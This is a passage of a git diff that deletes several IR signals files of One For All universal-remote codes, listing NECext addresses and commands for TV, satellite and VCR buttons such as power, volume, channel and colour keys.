NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6D 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir deleted file mode 100644 index d35790453..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_One-For-All/0,-1.ir +++ /dev/null @@ -1,380 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: X_KEY_0B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: BRIGHT_PLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: BRIGHT_MINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: COLOR_PLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: COLOR_MINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: X_KEY_1B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: X_KEY_1C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: TEXT_MEMO_OUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: X_KEY_1E -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: X_KEY_1F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PRG_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: PRG_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: PRG_RECALL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: TEXT_DECREASE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: TEXT_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: TEXT_INCREASE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: TEXT_REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: TEXT_SQUISH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: TEXT+TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: X_KEY_2F -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: WHITE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: TEXT_INDEX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: X_KEY_3a -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: X_KEY_3B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: X_KEY_3D -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3D 00 00 00 -# -name: X_KEY_3E -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir deleted file mode 100644 index 2c34feafd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_Phillips/5,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: Off -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir deleted file mode 100644 index b954ea71b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_SAT/32,8.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 07 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 0D 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 10 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 41 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 42 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 43 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 44 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 45 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 46 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 47 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 49 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 08 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir deleted file mode 100644 index 7affd30a5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-2510(12341)/71,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 02 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 2D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir deleted file mode 100644 index 16433dea1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3021B00-VCR-0081/5,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_LAST -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: TV/VID -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: SKIPF -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: SKIPR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir deleted file mode 100644 index cbaca068a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-3440/5,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0D 00 00 00 -# -name: BLU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 11 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: FORW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: GRE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: YEL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir deleted file mode 100644 index 28aabd777..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-5550/11,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 09 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 13 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 15 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 18 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 21 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 35 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 42 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 43 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 4D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 61 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 62 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir deleted file mode 100644 index 060c1fb44..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/One For All/Unknown_URC-6012w/2,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 